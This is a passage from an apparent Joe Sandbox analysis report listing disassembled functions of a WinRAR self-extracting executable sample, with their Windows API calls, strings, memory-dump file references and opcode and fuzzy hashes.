Part of subcall function 00DDD728: RegQueryValueExW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,00000000,00000000,00000001,?,00000020), ref: 00DDD769
Part of subcall function 00DDD728: RegQueryValueExW.KERNEL32(?,00000000,00000000,?,?,?,?,?,?,00000000,00000000,00000001,?,00000020), ref: 00DDD7D2
Part of subcall function 00DDD728: RegCloseKey.KERNEL32(?,?,00000000,00000000,00000001,?,00000020), ref: 00DDD80E

Strings

Software\WinRAR SFX, xrefs: 00DE146F

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: QueryValue$CloseH_prolog3H_prolog3_Open
String ID: Software\WinRAR SFX
API String ID: 3244892100-754673328
Opcode ID: ac31b0d983e7147716c2ab0cfa71153c950eb686a97d960a75fa7a3962fd40c8
Instruction ID: 532e4df6add4971f1bc34f2fffa4f9991064b2867670e1049486b3a7399c42f8
Opcode Fuzzy Hash: ac31b0d983e7147716c2ab0cfa71153c950eb686a97d960a75fa7a3962fd40c8
Instruction Fuzzy Hash: CA2139399002698ADB14EBA0C861FDCBB74FF15310F54809DE446B7282EF741A89CF70

Function 00DF1317 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00DEF2FE), ref: 00DF1357

Strings

InitializeCriticalSectionEx, xrefs: 00DF1327

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 2593887523-3084827643
Opcode ID: 38ce7248939393e8ea8a391597843141dcc4c3fb0dbd5e7212a290f6d44b41f3
Instruction ID: 5ce71fb95b30ed531da06227281744ea82cd6a97952ddd3a3f94a40fd5199d04
Opcode Fuzzy Hash: 38ce7248939393e8ea8a391597843141dcc4c3fb0dbd5e7212a290f6d44b41f3
Instruction Fuzzy Hash: 86E06D3618031DBBCB112F81DC05DBE7F12DB01B60F06C011FB1895661C6B29920EBB1

Function 00DF1218 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 22memoryCOMMON

Download Yara Rule

APIs

TlsAlloc.KERNEL32 ref: 00DF124C

Strings

FlsAlloc, xrefs: 00DF1228

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Alloc
String ID: FlsAlloc
API String ID: 2773662609-671089009
Opcode ID: 734ac98a5040bfac3f94558682cac75a7c1dd0036b9839d09b0cd0c1ad7e2fa9
Instruction ID: ef235476c2886ffae3e27a3c50b3468c4ef9c2bd52294de281c12fe1e9de19ff
Opcode Fuzzy Hash: 734ac98a5040bfac3f94558682cac75a7c1dd0036b9839d09b0cd0c1ad7e2fa9
Instruction Fuzzy Hash: CDE0C236A8536CAB861073959C0A9BE7D06CB51B70B0AC022FB05912A1CBA06820D6FD

Function 00DE1A9B Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1AAD

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Strings

3Ro, xrefs: 00DE1A9B, 00DE1AA7

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 3Ro
API String ID: 1269201914-1492261280
Opcode ID: 5c1b57cd8be9139b38264c75f064ce73a7076403a339587167c980e5329de237
Instruction ID: 2e9fd99e0996dbca7730c6460e5fa3e7c8631fad6479c8105bbbfa92c6d60959
Opcode Fuzzy Hash: 5c1b57cd8be9139b38264c75f064ce73a7076403a339587167c980e5329de237
Instruction Fuzzy Hash: 2AB092EA359644AC32047102990A83B020CC0C0B10360552AB100A0080A4804E891036

Function 00DE1E96 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E83

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Strings

@Hmu Fju0:.uPou, xrefs: 00DE1E96

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: @Hmu Fju0:.uPou
API String ID: 1269201914-2480647417
Opcode ID: 3d13b2e16e0f309260079547167e3c51db8543f84db0ac7b29a7698330c108a6
Instruction ID: cf15250d2455cea03653eb4744db907f475870003a49dc80ab6c7c6413f43abf
Opcode Fuzzy Hash: 3d13b2e16e0f309260079547167e3c51db8543f84db0ac7b29a7698330c108a6
Instruction Fuzzy Hash: 35B012F6369245BE32047106EC07C3B111CF0C0F10370552EF440D01C0D4804DC10036

Function 00DE1EB4 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E83

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Strings

0:.uPou, xrefs: 00DE1E7D

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 0:.uPou
API String ID: 1269201914-2388506183
Opcode ID: f9661b65a14238e6e5946f9dc6661371f2e777f83a511f0fa2bd41c259bcb41c
Instruction ID: 59cb1163200c51dd0b31f72f7ea32a463c481b71e8903884fc7f42912182cb5d
Opcode Fuzzy Hash: f9661b65a14238e6e5946f9dc6661371f2e777f83a511f0fa2bd41c259bcb41c
Instruction Fuzzy Hash: 03B012F6369340BD31447106DC07C3B112CE0C0F11370572EF840D01C0D5804EC1003A

Function 00DE1EAA Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E83

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Strings

0:.uPou, xrefs: 00DE1E7D, 00DE1EAA

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 0:.uPou
API String ID: 1269201914-2388506183
Opcode ID: a6f4280706aeb056a006e7ebc8890fdfd604e31511d37a8a153096665702c374
Instruction ID: 0b30634bf03dce88c8d34e0f8bc3f1b60e3ae5ff0305fd011278f081d5cffe16
Opcode Fuzzy Hash: a6f4280706aeb056a006e7ebc8890fdfd604e31511d37a8a153096665702c374
Instruction Fuzzy Hash: F7B012F6369341BD32447106EC07C3B111CE0C0F10370562EF840D01C0D4804DC10036

Function 00DE1EA0 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E83

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Strings

Fju0:.uPou, xrefs: 00DE1EA0

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: Fju0:.uPou
API String ID: 1269201914-561048448
Opcode ID: 827b5435a7fe99d3e93288c639a7865b945e5523d44fd3eb0fdbede37f36d0e9
Instruction ID: 79153d48cc175242d2d0e8ea44d17a9c7ff14f50562411f1976309669cccc497
Opcode Fuzzy Hash: 827b5435a7fe99d3e93288c639a7865b945e5523d44fd3eb0fdbede37f36d0e9
Instruction Fuzzy Hash: DAB012F63A9281BD32047106DD07C3B111CE0C0F10370553EF440D01C0E8804EC20036

Function 00DE1E71 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 10COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E83

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Strings

0:.uPou, xrefs: 00DE1E7D

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 0:.uPou
API String ID: 1269201914-2388506183
Opcode ID: a3f3e253bf9baa2f980c6c326930bcd8719086156a20afdfde8cf788da0f4255
Instruction ID: 808e1b78e169bdebe34ef5d7a0d5de945ca22735e824697c6e96fb1963461308
Opcode Fuzzy Hash: a3f3e253bf9baa2f980c6c326930bcd8719086156a20afdfde8cf788da0f4255
Instruction Fuzzy Hash: 39B012F6369242BD32043152DC07C3B111CE0C0F10370992EF840E00C0A4804DC50036

Function 00DE1E91 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9COMMON

Download Yara Rule

APIs

___delayLoadHelper2@8.DELAYIMP ref: 00DE1E83

Part of subcall function 00DE2160: DloadReleaseSectionWriteAccess.DELAYIMP ref: 00DE21D3
Part of subcall function 00DE2160: RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 00DE21E4

Strings

0:.uPou, xrefs: 00DE1E7D

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AccessDloadExceptionHelper2@8LoadRaiseReleaseSectionWrite___delay
String ID: 0:.uPou
API String ID: 1269201914-2388506183
Opcode ID: 947bd4c9cad957db1bf7cc0c914c12c6ccd94aef5d179dc6f0da9e304975f539
Instruction ID: 98ff65c54b909c7fdee1d6cfd93694fadb00cd5a8f09af9021f4dbbbbe7c74c9
Opcode Fuzzy Hash: 947bd4c9cad957db1bf7cc0c914c12c6ccd94aef5d179dc6f0da9e304975f539
Instruction Fuzzy Hash: C1A002B6369645BD75147152DD06C3B111DE4C4F51370591DF54194081559059951435

Function 00DF0A0B Relevance: 3.2, APIs: 2, Instructions: 177COMMON

Download Yara Rule

APIs

Part of subcall function 00DF053A: GetOEMCP.KERNEL32(00000000,?,?,00000000,?), ref: 00DF0565

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,00DF084A,?,00000000,?,00000000,?), ref: 00DF0A6C
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,00DF084A,?,00000000,?,00000000,?), ref: 00DF0AA8

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: 118f499ba3f0e0f84225469adab213bd068bf4382fa34ff1df2db76cc22fd248
Instruction ID: fa12f66fe338e208dcee6ae32adafcb021609ec2770d4c6bc5784bd7828574c1
Opcode Fuzzy Hash: 118f499ba3f0e0f84225469adab213bd068bf4382fa34ff1df2db76cc22fd248
Instruction Fuzzy Hash: 16512471A003498EDB20CF75C8806BABFF5EF85308F1AC16ED2868B253D6759946CB70

Function 00DCEB71 Relevance: 3.1, APIs: 2, Instructions: 144COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(000000FF,?,?,?,?,00000000,?,?,00DCEDCC,?,?,00000000,?,?,?,00DCC9DE), ref: 00DCED05
GetLastError.KERNEL32(?,?,00DCEDCC,?,?,00000000,?,?,?,00DCC9DE,?,?,00000000,?,?,?), ref: 00DCED14

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 6eee4800f25bc58b7366e3aff4b3de9d0127e0eac454b3ec3ccc54786245da31
Instruction ID: 631ad698c1ef5e5c4a5073452dfb36b92a3a714fb45bc2878c682f6f8b4d329b
Opcode Fuzzy Hash: 6eee4800f25bc58b7366e3aff4b3de9d0127e0eac454b3ec3ccc54786245da31
Instruction Fuzzy Hash: 0041F8B16043578BD7309F29C684FBAB3A9FB84360F18491EE895C7241D774ED458BB1

Function 00DDBCA4 Relevance: 3.1, APIs: 2, Instructions: 113COMMON

Download Yara Rule

APIs

ShowWindow.USER32(00000000,00000005,?,?,?,00DDBEFD,00000000,00000000), ref: 00DDBDA2
SetWindowTextW.USER32(00000000,00000000), ref: 00DDBDAC

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Window$ShowText
String ID:
API String ID: 1551406749-0
Opcode ID: 61d95937bb0fa85521a92f80a2c49cff01c0a5fd77dc3ed21cb458b13086f8fd
Instruction ID: 949215c3094f1af46adad77053bb3546d9d25309fc9187258c8646e9a88d9b1b
Opcode Fuzzy Hash: 61d95937bb0fa85521a92f80a2c49cff01c0a5fd77dc3ed21cb458b13086f8fd
Instruction Fuzzy Hash: 4B318931305716AFC704EF59EC8492ABBAABF48728B05851FF60697360CB61BC05CBB5

Function 00DE7482 Relevance: 3.1, APIs: 2, Instructions: 67libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00E09120,?,?,?,00DE7676,00000004,InitializeCriticalSectionEx,00DFC504,InitializeCriticalSectionEx,00000000,?,00DE742D,00E09120,00000FA0), ref: 00DE7505
GetProcAddress.KERNEL32(00000000,?), ref: 00DE750F

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID:
API String ID: 3013587201-0
Opcode ID: 754b7f0f517646fa3f371128f17b1c29020acb72eb0c638295cf8d46807d302f
Instruction ID: db80b5fb42a4a08e8b8e9567bb4f0a827425051fa1b267262ed7e98d6f397aba
Opcode Fuzzy Hash: 754b7f0f517646fa3f371128f17b1c29020acb72eb0c638295cf8d46807d302f
Instruction Fuzzy Hash: 5611D3316092569FCF67EFA6EC808AE77A5FB453607280155E906DB390E730DD41CBB0

Function 00DCED30 Relevance: 3.1, APIs: 2, Instructions: 56COMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000001), ref: 00DCED77
GetLastError.KERNEL32 ref: 00DCED84

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: 29a9476d8e75835281f50fc109959750abd5bf25dd7d989d73dc3fcaecc72ec8
Instruction ID: 6e1624d573f62c3856118493ae7df42c9d0276b9547d3b64e1df034160d376e7
Opcode Fuzzy Hash: 29a9476d8e75835281f50fc109959750abd5bf25dd7d989d73dc3fcaecc72ec8
Instruction Fuzzy Hash: 0A11C8B46013069BE720D665CC44FAAB7A9DB05370F284A1DE453D35D0D7B4EE46C770

Function 00DC22BE Relevance: 3.0, APIs: 2, Instructions: 40COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00DC22C5
GetDlgItem.USER32(?,?), ref: 00DC22DB

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: H_prolog3_Item
String ID:
API String ID: 1946455446-0
Opcode ID: a030634276dd925d159e7e8d7c02c92b7b9e399207cfffa8a45f3d480897f49e
Instruction ID: 7fb95c781adf5ea985c05690ab8a039b299cad12ca87ee2d7d3232844997f1a9
Opcode Fuzzy Hash: a030634276dd925d159e7e8d7c02c92b7b9e399207cfffa8a45f3d480897f49e
Instruction Fuzzy Hash: 1CF0DC74A0022A4AD705EBA8C892FBD72A8DF01700F14801CFA11AB1D2DBA45A42CA79

Function 00DD6F84 Relevance: 3.0, APIs: 2, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(02000000,?,00000002,00000002,?,00DD6FC7,00DD08DA), ref: 00DD6F91
GetProcessAffinityMask.KERNEL32(00000000,?,00DD6FC7), ref: 00DD6F98

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity

API ID: Process$AffinityCurrentMask
String ID:
API String ID: 1231390398-0
Opcode ID: bcbff6b95daa60987a3b21b9f636c2e6b252ff465cf8eabd1d60aa269a42b99f
Instruction ID: 6aa448544122818fce962df41a4c6fb2c7cc64007359a8c2a80cc3bbc2dfd3d9
Opcode Fuzzy Hash: bcbff6b95daa60987a3b21b9f636c2e6b252ff465cf8eabd1d60aa269a42b99f
Instruction Fuzzy Hash: EFE09232B00605678F198BB8AC058EB72EDDE54214714807BE513D3704EE34ED0646F0

Function 00DD400C Relevance: 3.0, APIs: 2, Instructions: 31COMMON

Download Yara Rule

APIs

LoadStringW.USER32(000000C9,-00E0F54B,00000400,000000C9), ref: 00DD4034
LoadStringW.USER32(000000C9,-00E0F54B,00000400), ref: 00DD4047

Memory Dump Source

Source File: 00000008.00000002.1890085406.0000000000DC1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00DC0000, based on PE: true

Associated: 00000008.00000002.1890064100.0000000000DC0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890126915.0000000000DFB000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E08000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890151298.0000000000E0C000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000008.00000002.1890221221.0000000000E14000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_dc0000_UNK_.jbxd

Similarity
